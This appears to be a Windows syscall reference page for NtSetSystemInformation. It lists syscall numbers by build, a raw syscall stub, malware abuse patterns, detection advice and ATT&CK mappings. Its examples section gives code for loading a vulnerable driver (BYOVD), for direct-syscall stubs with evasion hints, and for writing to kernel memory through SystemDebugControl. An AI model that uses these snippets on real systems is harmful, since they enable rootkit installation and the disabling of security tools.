NtSetSystemInformation
Generic kernel setter selected by SYSTEM_INFORMATION_CLASS — gateway to SystemDebugControl, GDI driver loading and more.
Prototype
NTSTATUS NtSetSystemInformation( SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength );
Arguments
| Name | Type | Dir | Description |
|---|---|---|---|
| SystemInformationClass | SYSTEM_INFORMATION_CLASS | in | Enum selecting the operation, e.g. SystemLoadGdiDriverInformation (26), SystemDebugControl (37), SystemRegistryQuotaInformation (37 set). |
| SystemInformation | PVOID | in | Class-specific input buffer (e.g. SYSTEM_GDI_DRIVER_INFORMATION, SYSTEM_LOAD_GDI_DRIVER_INFORMATION). |
| SystemInformationLength | ULONG | in | Size in bytes of the SystemInformation buffer. |
Syscall IDs by Windows version
| Windows version | Syscall ID | Build |
|---|---|---|
| Win10 1507 | 0x18E | win10-1507 |
| Win10 1607 | 0x197 | win10-1607 |
| Win10 1703 | 0x19D | win10-1703 |
| Win10 1709 | 0x1A0 | win10-1709 |
| Win10 1803 | 0x1A2 | win10-1803 |
| Win10 1809 | 0x1A3 | win10-1809 |
| Win10 1903 | 0x1A4 | win10-1903 |
| Win10 1909 | 0x1A4 | win10-1909 |
| Win10 2004 | 0x1AA | win10-2004 |
| Win10 20H2 | 0x1AA | win10-20h2 |
| Win10 21H1 | 0x1AA | win10-21h1 |
| Win10 21H2 | 0x1AC | win10-21h2 |
| Win10 22H2 | 0x1AC | win10-22h2 |
| Win11 21H2 | 0x1B5 | win11-21h2 |
| Win11 22H2 | 0x1B9 | win11-22h2 |
| Win11 23H2 | 0x1B9 | win11-23h2 |
| Win11 24H2 | 0x1BC | win11-24h2 |
| Server 2016 | 0x197 | winserver-2016 |
| Server 2019 | 0x1A3 | winserver-2019 |
| Server 2022 | 0x1B2 | winserver-2022 |
| Server 2025 | 0x1BC | winserver-2025 |
Kernel module
Related APIs
Syscall stub
4C 8B D1 mov r10, rcx B8 BC 01 00 00 mov eax, 0x1BC F6 04 25 08 03 FE 7F 01 test byte ptr [0x7FFE0308], 1 75 03 jne short +3 0F 05 syscall C3 ret CD 2E int 2Eh C3 ret
Undocumented notes
Unlike most of its neighbours, the SSN for NtSetSystemInformation drifts on every feature release: `0x18E` on 1507, `0x1A4` on 1903/1909, `0x1AA` on 2004-21H1, `0x1AC` on 21H2/22H2, then `0x1B5`/`0x1B9`/`0x1BC` across Win11. Any hardcoded stub *must* be paired with a build check or dynamic resolution. The function is the write-side counterpart of NtQuerySystemInformation and is gated by access checks tied to the chosen `SYSTEM_INFORMATION_CLASS`: most classes require SeTcbPrivilege, SeLoadDriverPrivilege, or SeDebugPrivilege.
Common malware usage
Two notable abuses. (1) **`SystemLoadGdiDriverInformation` (26)** historically loaded a kernel-mode GDI driver from a caller-supplied UNICODE_STRING image path — the classic vector for unsigned/exploit-vulnerable driver loading prior to KMCS. Modern Windows blocks the unsigned path under HVCI/Vulnerable Driver Blocklist, but actors still call it as part of bring-your-own-vulnerable-driver (BYOVD) chains where the driver itself is signed. (2) **`SystemDebugControl` (37)** with sub-commands `SysDbgReadVirtual` / `SysDbgWriteVirtual` lets a caller holding `SeDebugPrivilege` read or write arbitrary kernel memory without ever loading a driver — used by some rootkits and red-team tooling for stealthy kernel patches when EDR has already neutered the obvious driver-load surface. Also occasionally seen tampering with `SystemRegistryQuotaInformation` to bloat the registry and disable Windows components that depend on quota limits.
Detection opportunities
Calls to `NtSetSystemInformation` itself are uncommon outside the OS, so volume-based heuristics work. The single highest-value source is Microsoft-Windows-Kernel-General `ImageLoad` ETW combined with the kernel image-load notify callback (PsSetLoadImageNotifyRoutine), which fires whenever a kernel driver is loaded via class 26 — Defender Application Control and the Microsoft Vulnerable Driver Blocklist consume this to block known-bad drivers like `gdrv.sys`, `RTCore64.sys`, `dbutil_2_3.sys`. Audit `Audit Privilege Use` (Event ID 4673) for SeLoadDriverPrivilege and SeDebugPrivilege use, and watch for unexpected callers (non-System, non-services.exe) invoking NtSetSystemInformation. Direct-syscall callers cannot suppress the driver-load notification regardless of how clever the user-mode is.
Direct syscall examples
cBYOVD: load a signed-but-vulnerable driver via class 26
// SystemLoadGdiDriverInformation == 26
typedef struct _SYSTEM_GDI_DRIVER_INFORMATION {
UNICODE_STRING DriverName;
PVOID ImageAddress;
PVOID SectionPointer;
PVOID EntryPoint;
PIMAGE_EXPORT_DIRECTORY ExportSectionPointer;
ULONG ImageLength;
} SYSTEM_GDI_DRIVER_INFORMATION, *PSYSTEM_GDI_DRIVER_INFORMATION;
SYSTEM_GDI_DRIVER_INFORMATION info = {0};
RtlInitUnicodeString(&info.DriverName,
L"\\??\\C:\\ProgramData\\vuln.sys");
// Caller must hold SeLoadDriverPrivilege (enabled, not just present).
NTSTATUS s = NtSetSystemInformation(
26 /* SystemLoadGdiDriverInformation */,
&info,
sizeof(info));asmDirect stub for Win11 24H2 (SSN 0x1BC)
; Build-pinned to Win11 24H2 / Server 2025. Use dynamic resolution
; (Hell's Gate / Halo's Gate / Tartarus' Gate) for portable stubs —
; this SSN moves on every feature update.
NtSetSystemInformation_24H2 PROC
mov r10, rcx
mov eax, 1BCh
syscall
ret
NtSetSystemInformation_24H2 ENDPcKernel write via SystemDebugControl (privileged)
// SystemDebugControl == 37 (Set-variant accepts SysDbgWriteVirtual etc.)
typedef enum _SYSDBG_COMMAND {
SysDbgReadVirtual = 8,
SysDbgWriteVirtual = 9,
} SYSDBG_COMMAND;
typedef struct _SYSDBG_VIRTUAL {
PVOID Address;
PVOID Buffer;
ULONG Request;
} SYSDBG_VIRTUAL, *PSYSDBG_VIRTUAL;
// Enable SeDebugPrivilege first.
SYSDBG_VIRTUAL v = {
.Address = (PVOID)0xfffff80000000000ULL, // kernel target
.Buffer = patchBytes,
.Request = patchLen,
};
NtSystemDebugControl(SysDbgWriteVirtual, &v, sizeof(v), NULL, 0, NULL);
// (Note: ntoskrnl exposes both NtSystemDebugControl and SystemDebugControl
// via NtSetSystemInformation; modern builds prefer the dedicated syscall.)MITRE ATT&CK mappings
- T1068Exploitation for Privilege Escalation
- T1014Rootkit
- T1562.001Disable or Modify Tools
- T1106Native API
Last verified: 2026-05-20